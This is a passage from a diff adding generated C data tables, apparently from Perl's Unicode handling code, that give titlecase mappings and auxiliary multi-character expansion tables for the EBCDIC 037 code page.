+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F00,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F72,
+	0x1F76,
+	0x1F78,
+	0x1F7A,
+	0x1F7C,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
+	0x1FB5,
+	0x1FB6,
+	0x1FB7,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC3,
+	0x1FC4,
+	0x1FC5,
+	0x1FC6,
+	0x1FC7,
+	0x1FC8,
+	0x1FD0,
+	0x1FD2,
+	0x1FD3,
+	0x1FD4,
+	0x1FD6,
+	0x1FD7,
+	0x1FD8,
+	0x1FE0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FE7,
+	0x1FE8,
+	0x1FF2,
+	0x1FF3,
+	0x1FF4,
+	0x1FF5,
+	0x1FF6,
+	0x1FF7,
+	0x1FF8,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C66,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB01,
+	0xFB02,
+	0xFB03,
+	0xFB04,
+	0xFB05,
+	0xFB07,
+	0xFB13,
+	0xFB14,
+	0xFB15,
+	0xFB16,
+	0xFB17,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 037 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	TC_0 = 0,
+	TC_use_AUX_TABLE_1 = -1,
+	TC_use_AUX_TABLE_2 = -2,
+	TC_use_AUX_TABLE_3 = -3,
+	TC_use_AUX_TABLE_4 = -4,
+	TC_use_AUX_TABLE_5 = -5,
+	TC_use_AUX_TABLE_6 = -6,
+	TC_use_AUX_TABLE_7 = -7,
+	TC_use_AUX_TABLE_8 = -8,
+	TC_use_AUX_TABLE_9 = -9,
+	TC_use_AUX_TABLE_10 = -10,
+	TC_use_AUX_TABLE_11 = -11,
+	TC_use_AUX_TABLE_12 = -12,
+	TC_use_AUX_TABLE_13 = -13,
+	TC_use_AUX_TABLE_14 = -14,
+	TC_use_AUX_TABLE_15 = -15,
+	TC_use_AUX_TABLE_16 = -16,
+	TC_use_AUX_TABLE_17 = -17,
+	TC_use_AUX_TABLE_18 = -18,
+	TC_use_AUX_TABLE_19 = -19,
+	TC_use_AUX_TABLE_20 = -20,
+	TC_use_AUX_TABLE_21 = -21,
+	TC_use_AUX_TABLE_22 = -22,
+	TC_use_AUX_TABLE_23 = -23,
+	TC_use_AUX_TABLE_24 = -24,
+	TC_use_AUX_TABLE_25 = -25,
+	TC_use_AUX_TABLE_26 = -26,
+	TC_use_AUX_TABLE_27 = -27,
+	TC_use_AUX_TABLE_28 = -28,
+	TC_use_AUX_TABLE_29 = -29,
+	TC_use_AUX_TABLE_30 = -30,
+	TC_use_AUX_TABLE_31 = -31,
+	TC_use_AUX_TABLE_32 = -32,
+	TC_use_AUX_TABLE_33 = -33,
+	TC_use_AUX_TABLE_34 = -34,
+	TC_use_AUX_TABLE_35 = -35,
+	TC_use_AUX_TABLE_36 = -36,
+	TC_use_AUX_TABLE_37 = -37,
+	TC_use_AUX_TABLE_38 = -38,
+	TC_use_AUX_TABLE_39 = -39,
+	TC_use_AUX_TABLE_40 = -40,
+	TC_use_AUX_TABLE_41 = -41,
+	TC_use_AUX_TABLE_42 = -42,
+	TC_use_AUX_TABLE_43 = -43,
+	TC_use_AUX_TABLE_44 = -44,
+	TC_use_AUX_TABLE_45 = -45
+} TC_enum;
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_TC_AUX_TABLES
+
+static const unsigned int TC_AUX_TABLE_1[] = {
+	0xE2,
+	0xA2
+};
+
+static const unsigned int TC_AUX_TABLE_2[] = {
+	0x2BC,
+	0xD5
+};
+
+static const unsigned int TC_AUX_TABLE_3[] = {
+	0xD1,
+	0x30C
+};
+
+static const unsigned int TC_AUX_TABLE_4[] = {
+	0x399,
+	0x308,
+	0x301
+};
+
+static const unsigned int TC_AUX_TABLE_5[] = {
+	0x3A5,
+	0x308,
+	0x301
+};
+
+static const unsigned int TC_AUX_TABLE_6[] = {
+	0x535,
+	0x582
+};
+
+static const unsigned int TC_AUX_TABLE_7[] = {
+	0xC8,
+	0x331
+};
+
+static const unsigned int TC_AUX_TABLE_8[] = {
+	0xE3,
+	0x308
+};
+
+static const unsigned int TC_AUX_TABLE_9[] = {
+	0xE6,
+	0x30A
+};
+
+static const unsigned int TC_AUX_TABLE_10[] = {
+	0xE8,
+	0x30A
+};
+
+static const unsigned int TC_AUX_TABLE_11[] = {
+	0xC1,
+	0x2BE
+};
+
+static const unsigned int TC_AUX_TABLE_12[] = {
+	0x3A5,
+	0x313
+};
+
+static const unsigned int TC_AUX_TABLE_13[] = {
+	0x3A5,
+	0x313,
+	0x300
+};
+
+static const unsigned int TC_AUX_TABLE_14[] = {
+	0x3A5,
+	0x313,
+	0x301
+};
+
+static const unsigned int TC_AUX_TABLE_15[] = {
+	0x3A5,
+	0x313,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_16[] = {
+	0x1FBA,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_17[] = {
+	0x386,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_18[] = {
+	0x391,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_19[] = {
+	0x391,
+	0x342,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_20[] = {
+	0x1FCA,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_21[] = {
+	0x389,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_22[] = {
+	0x397,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_23[] = {
+	0x397,
+	0x342,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_24[] = {
+	0x399,
+	0x308,
+	0x300
+};
+
+static const unsigned int TC_AUX_TABLE_25[] = {
+	0x399,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_26[] = {
+	0x399,
+	0x308,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_27[] = {
+	0x3A5,
+	0x308,
+	0x300
+};
+
+static const unsigned int TC_AUX_TABLE_28[] = {
+	0x3A1,
+	0x313
+};
+
+static const unsigned int TC_AUX_TABLE_29[] = {
+	0x3A5,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_30[] = {
+	0x3A5,
+	0x308,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_31[] = {
+	0x1FFA,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_32[] = {
+	0x38F,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_33[] = {
+	0x3A9,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_34[] = {
+	0x3A9,
+	0x342,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_35[] = {
+	0xC6,
+	0x86
+};
+
+static const unsigned int TC_AUX_TABLE_36[] = {
+	0xC6,
+	0x89
+};
+
+static const unsigned int TC_AUX_TABLE_37[] = {
+	0xC6,
+	0x93
+};
+
+static const unsigned int TC_AUX_TABLE_38[] = {
+	0xC6,
+	0x86,
+	0x89
+};
+
+static const unsigned int TC_AUX_TABLE_39[] = {
+	0xC6,
+	0x86,
+	0x93
+};
+
+static const unsigned int TC_AUX_TABLE_40[] = {
+	0xE2,
+	0xA3
+};
+
+static const unsigned int TC_AUX_TABLE_41[] = {
+	0x544,
+	0x576
+};
+
+static const unsigned int TC_AUX_TABLE_42[] = {
+	0x544,
+	0x565
+};
+
+static const unsigned int TC_AUX_TABLE_43[] = {
+	0x544,
+	0x56B
+};
+
+static const unsigned int TC_AUX_TABLE_44[] = {
+	0x54E,
+	0x576
+};
+
+static const unsigned int TC_AUX_TABLE_45[] = {
+	0x544,
+	0x56D
+};
+
+static const unsigned int * const TC_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	TC_AUX_TABLE_1,
+	TC_AUX_TABLE_2,
+	TC_AUX_TABLE_3,
+	TC_AUX_TABLE_4,
+	TC_AUX_TABLE_5,
+	TC_AUX_TABLE_6,
+	TC_AUX_TABLE_7,
+	TC_AUX_TABLE_8,
+	TC_AUX_TABLE_9,
+	TC_AUX_TABLE_10,
+	TC_AUX_TABLE_11,
+	TC_AUX_TABLE_12,
+	TC_AUX_TABLE_13,
+	TC_AUX_TABLE_14,
+	TC_AUX_TABLE_15,
+	TC_AUX_TABLE_16,
+	TC_AUX_TABLE_17,
+	TC_AUX_TABLE_18,
+	TC_AUX_TABLE_19,
+	TC_AUX_TABLE_20,
+	TC_AUX_TABLE_21,
+	TC_AUX_TABLE_22,
+	TC_AUX_TABLE_23,
+	TC_AUX_TABLE_24,
+	TC_AUX_TABLE_25,
+	TC_AUX_TABLE_26,
+	TC_AUX_TABLE_27,
+	TC_AUX_TABLE_28,
+	TC_AUX_TABLE_29,
+	TC_AUX_TABLE_30,
+	TC_AUX_TABLE_31,
+	TC_AUX_TABLE_32,
+	TC_AUX_TABLE_33,
+	TC_AUX_TABLE_34,
+	TC_AUX_TABLE_35,
+	TC_AUX_TABLE_36,
+	TC_AUX_TABLE_37,
+	TC_AUX_TABLE_38,
+	TC_AUX_TABLE_39,
+	TC_AUX_TABLE_40,
+	TC_AUX_TABLE_41,
+	TC_AUX_TABLE_42,
+	TC_AUX_TABLE_43,
+	TC_AUX_TABLE_44,
+	TC_AUX_TABLE_45
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 TC_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* TC_AUX_TABLE_1 */,
+	2	/* TC_AUX_TABLE_2 */,
+	2	/* TC_AUX_TABLE_3 */,
+	3	/* TC_AUX_TABLE_4 */,
+	3	/* TC_AUX_TABLE_5 */,
+	2	/* TC_AUX_TABLE_6 */,
+	2	/* TC_AUX_TABLE_7 */,
+	2	/* TC_AUX_TABLE_8 */,
+	2	/* TC_AUX_TABLE_9 */,
+	2	/* TC_AUX_TABLE_10 */,
+	2	/* TC_AUX_TABLE_11 */,
+	2	/* TC_AUX_TABLE_12 */,
+	3	/* TC_AUX_TABLE_13 */,
+	3	/* TC_AUX_TABLE_14 */,
+	3	/* TC_AUX_TABLE_15 */,
+	2	/* TC_AUX_TABLE_16 */,
+	2	/* TC_AUX_TABLE_17 */,
+	2	/* TC_AUX_TABLE_18 */,
+	3	/* TC_AUX_TABLE_19 */,
+	2	/* TC_AUX_TABLE_20 */,
+	2	/* TC_AUX_TABLE_21 */,
+	2	/* TC_AUX_TABLE_22 */,
+	3	/* TC_AUX_TABLE_23 */,
+	3	/* TC_AUX_TABLE_24 */,
+	2	/* TC_AUX_TABLE_25 */,
+	3	/* TC_AUX_TABLE_26 */,
+	3	/* TC_AUX_TABLE_27 */,
+	2	/* TC_AUX_TABLE_28 */,
+	2	/* TC_AUX_TABLE_29 */,
+	3	/* TC_AUX_TABLE_30 */,
+	2	/* TC_AUX_TABLE_31 */,
+	2	/* TC_AUX_TABLE_32 */,
+	2	/* TC_AUX_TABLE_33 */,
+	3	/* TC_AUX_TABLE_34 */,
+	2	/* TC_AUX_TABLE_35 */,
+	2	/* TC_AUX_TABLE_36 */,
+	2	/* TC_AUX_TABLE_37 */,
+	3	/* TC_AUX_TABLE_38 */,
+	3	/* TC_AUX_TABLE_39 */,
+	2	/* TC_AUX_TABLE_40 */,
+	2	/* TC_AUX_TABLE_41 */,
+	2	/* TC_AUX_TABLE_42 */,
+	2	/* TC_AUX_TABLE_43 */,
+	2	/* TC_AUX_TABLE_44 */,
+	2	/* TC_AUX_TABLE_45 */
+};
+
+static const int Titlecase_Mapping_invmap[] = { /* for EBCDIC 037 */
+	0,
+	0x62,
+	0,
+	0x71,
+	TC_use_AUX_TABLE_1,
+	0,
+	0x80,
+	0,
+	0xC1,
+	0,
+	0xAC,
+	0,
+	0xD1,
+	0,
+	0x9E,
+	0,
+	0x39C,
+	0,
+	0xE2,
+	0,
+	0xEB,
+	0,
+	0xFB,
+	0x178,
+	0,
+	0x100,
+	0,
+	0x102,
+	0,
+	0x104,
+	0,
+	0x106,
+	0,
+	0x108,
+	0,
+	0x10A,
+	0,
+	0x10C,
+	0,
+	0x10E,
+	0,
+	0x110,
+	0,
+	0x112,
+	0,
+	0x114,
+	0,
+	0x116,
+	0,
+	0x118,
+	0,
+	0x11A,
+	0,
+	0x11C,
+	0,
+	0x11E,
+	0,
+	0x120,
+	0,
+	0x122,
+	0,
+	0x124,
+	0,
+	0x126,
+	0,
+	0x128,
+	0,
+	0x12A,
+	0,
+	0x12C,
+	0,
+	0x12E,
+	0,
+	0xC9,
+	0,
+	0x132,
+	0,
+	0x134,
+	0,
+	0x136,
+	0,
+	0x139,
+	0,
+	0x13B,
+	0,
+	0x13D,
+	0,
+	0x13F,
+	0,
+	0x141,
+	0,
+	0x143,
+	0,
+	0x145,
+	0,
+	0x147,
+	TC_use_AUX_TABLE_2,
+	0,
+	0x14A,
+	0,
+	0x14C,
+	0,
+	0x14E,
+	0,
+	0x150,
+	0,
+	0x152,
+	0,
+	0x154,
+	0,
+	0x156,
+	0,
+	0x158,
+	0,
+	0x15A,
+	0,
+	0x15C,
+	0,
+	0x15E,
+	0,
+	0x160,
+	0,
+	0x162,
+	0,
+	0x164,
+	0,
+	0x166,
+	0,
+	0x168,
+	0,
+	0x16A,
+	0,
+	0x16C,
+	0,
+	0x16E,
+	0,
+	0x170,
+	0,
+	0x172,
+	0,
+	0x174,
+	0,
+	0x176,
+	0,
+	0x179,
+	0,
+	0x17B,
+	0,
+	0x17D,
+	0xE2,
+	0x243,
+	0,
+	0x182,
+	0,
+	0x184,
+	0,
+	0x187,
+	0,
+	0x18B,
+	0,
+	0x191,
+	0,
+	0x1F6,
+	0,
+	0x198,
+	0x23D,
+	0,
+	0x220,
+	0,
+	0x1A0,
+	0,
+	0x1A2,
+	0,
+	0x1A4,
+	0,
+	0x1A7,
+	0,
+	0x1AC,
+	0,
+	0x1AF,
+	0,
+	0x1B3,
+	0,
+	0x1B5,
+	0,
+	0x1B8,
+	0,
+	0x1BC,
+	0,
+	0x1F7,
+	0,
+	0x1C5,
+	0,
+	0x1C5,
+	0x1C8,
+	0,
+	0x1C8,
+	0x1CB,
+	0,
+	0x1CB,
+	0,
+	0x1CD,
+	0,
+	0x1CF,
+	0,
+	0x1D1,
+	0,
+	0x1D3,
+	0,
+	0x1D5,
+	0,
+	0x1D7,
+	0,
+	0x1D9,
+	0,
+	0x1DB,
+	0x18E,
+	0,
+	0x1DE,
+	0,
+	0x1E0,
+	0,
+	0x1E2,
+	0,
+	0x1E4,
+	0,
+	0x1E6,
+	0,
+	0x1E8,
+	0,
+	0x1EA,
+	0,
+	0x1EC,
+	0,
+	0x1EE,
+	TC_use_AUX_TABLE_3,
+	0x1F2,
+	0,
+	0x1F2,
+	0,
+	0x1F4,
+	0,
+	0x1F8,
+	0,
+	0x1FA,
+	0,
+	0x1FC,
+	0,
+	0x1FE,
+	0,
+	0x200,
+	0,
+	0x202,
+	0,
+	0x204,
+	0,
+	0x206,
+	0,
+	0x208,
+	0,
+	0x20A,
+	0,
+	0x20C,
+	0,
+	0x20E,
+	0,
+	0x210,
+	0,
+	0x212,
+	0,
+	0x214,
+	0,
+	0x216,
+	0,
+	0x218,
+	0,
+	0x21A,
+	0,
+	0x21C,
+	0,
+	0x21E,
+	0,
+	0x222,
+	0,
+	0x224,
+	0,
+	0x226,
+	0,
+	0x228,
+	0,
+	0x22A,
+	0,
+	0x22C,
+	0,
+	0x22E,
+	0,
+	0x230,
+	0,
+	0x232,
+	0,
+	0x23B,
+	0,
+	0x2C7E,
+	0,
+	0x241,
+	0,
+	0x246,
+	0,
+	0x248,
+	0,
+	0x24A,
+	0,
+	0x24C,
+	0,
+	0x24E,
+	0x2C6F,
+	0x2C6D,
+	0x2C70,
+	0x181,
+	0x186,
+	0,
+	0x189,
+	0,
+	0x18F,
+	0,
+	0x190,
+	0xA7AB,
+	0,
+	0x193,
+	0xA7AC,
+	0,
+	0x194,
+	0,
+	0xA78D,
+	0xA7AA,
+	0,
+	0x197,
+	0x196,
+	0xA7AE,
+	0x2C62,
+	0xA7AD,
+	0,
+	0x19C,
+	0,
+	0x2C6E,
+	0x19D,
+	0,
+	0x19F,
+	0,
+	0x2C64,
+	0,
+	0x1A6,
+	0,
+	0x1A9,
+	0,
+	0xA7B1,
+	0x1AE,
+	0x244,
+	0x1B1,
+	0x245,
+	0,
+	0x1B7,
+	0,
+	0xA7B2,
+	0xA7B0,
+	0,
+	0x399,
+	0,
+	0x370,
+	0,
+	0x372,
+	0,
+	0x376,
+	0,
+	0x3FD,
+	0,
+	TC_use_AUX_TABLE_4,
+	0,
+	0x386,
+	0x388,
+	TC_use_AUX_TABLE_5,
+	0x391,
+	0x3A3,
+	0x3A3,
+	0x38C,
+	0x38E,
+	0,
+	0x392,
+	0x398,
+	0,
+	0x3A6,
+	0x3A0,
+	0x3CF,
+	0,
+	0x3D8,
+	0,
+	0x3DA,
+	0,
+	0x3DC,
+	0,
+	0x3DE,
+	0,
+	0x3E0,
+	0,
+	0x3E2,
+	0,
+	0x3E4,
+	0,
+	0x3E6,
+	0,
+	0x3E8,
+	0,
+	0x3EA,
+	0,
+	0x3EC,
+	0,
+	0x3EE,
+	0x39A,
+	0x3A1,
+	0x3F9,
+	0x37F,
+	0,
+	0x395,
+	0,
+	0x3F7,
+	0,
+	0x3FA,
+	0,
+	0x410,
+	0x400,
+	0,
+	0x460,
+	0,
+	0x462,
+	0,
+	0x464,
+	0,
+	0x466,
+	0,
+	0x468,
+	0,
+	0x46A,
+	0,
+	0x46C,
+	0,
+	0x46E,
+	0,
+	0x470,
+	0,
+	0x472,
+	0,
+	0x474,
+	0,
+	0x476,
+	0,
+	0x478,
+	0,
+	0x47A,
+	0,
+	0x47C,
+	0,
+	0x47E,
+	0,
+	0x480,
+	0,
+	0x48A,
+	0,
+	0x48C,
+	0,
+	0x48E,
+	0,
+	0x490,
+	0,
+	0x492,
+	0,
+	0x494,
+	0,
+	0x496,
+	0,
+	0x498,
+	0,
+	0x49A,
+	0,
+	0x49C,
+	0,
+	0x49E,
+	0,
+	0x4A0,
+	0,
+	0x4A2,
+	0,
+	0x4A4,
+	0,
+	0x4A6,
+	0,
+	0x4A8,
+	0,
+	0x4AA,
+	0,
+	0x4AC,
+	0,
+	0x4AE,
+	0,
+	0x4B0,
+	0,
+	0x4B2,
+	0,
+	0x4B4,
+	0,
+	0x4B6,
+	0,
+	0x4B8,
+	0,
+	0x4BA,
+	0,
+	0x4BC,
+	0,
+	0x4BE,
+	0,
+	0x4C1,
+	0,
+	0x4C3,
+	0,
+	0x4C5,
+	0,
+	0x4C7,
+	0,
+	0x4C9,
+	0,
+	0x4CB,
+	0,
+	0x4CD,
+	0x4C0,
+	0,
+	0x4D0,
+	0,
+	0x4D2,
+	0,
+	0x4D4,
+	0,
+	0x4D6,
+	0,
+	0x4D8,
+	0,
+	0x4DA,
+	0,
+	0x4DC,
+	0,
+	0x4DE,
+	0,
+	0x4E0,
+	0,
+	0x4E2,
+	0,
+	0x4E4,
+	0,
+	0x4E6,
+	0,
+	0x4E8,
+	0,
+	0x4EA,
+	0,
+	0x4EC,
+	0,
+	0x4EE,
+	0,
+	0x4F0,
+	0,
+	0x4F2,
+	0,
+	0x4F4,
+	0,
+	0x4F6,
+	0,
+	0x4F8,
+	0,
+	0x4FA,
+	0,
+	0x4FC,
+	0,
+	0x4FE,
+	0,
+	0x500,
+	0,
+	0x502,
+	0,
+	0x504,
+	0,
+	0x506,
+	0,
+	0x508,
+	0,
+	0x50A,
+	0,
+	0x50C,
+	0,
+	0x50E,
+	0,
+	0x510,
+	0,
+	0x512,
+	0,
+	0x514,
+	0,
+	0x516,
+	0,
+	0x518,
+	0,
+	0x51A,
+	0,
+	0x51C,
+	0,
+	0x51E,
+	0,
+	0x520,
+	0,
+	0x522,
+	0,
+	0x524,
+	0,
+	0x526,
+	0,
+	0x528,
+	0,
+	0x52A,
+	0,
+	0x52C,
+	0,
+	0x52E,
+	0,
+	0x531,
+	TC_use_AUX_TABLE_6,
+	0,
+	0x13F0,
+	0,
+	0x412,
+	0x414,
+	0x41E,
+	0x421,
+	0x422,
+	0x42A,
+	0x462,
+	0xA64A,
+	0,
+	0xA77D,
+	0,
+	0x2C63,
+	0,
+	0x1E00,
+	0,
+	0x1E02,
+	0,
+	0x1E04,
+	0,
+	0x1E06,
+	0,
+	0x1E08,
+	0,
+	0x1E0A,
+	0,
+	0x1E0C,
+	0,
+	0x1E0E,
+	0,
+	0x1E10,
+	0,
+	0x1E12,
+	0,
+	0x1E14,
+	0,
+	0x1E16,
+	0,
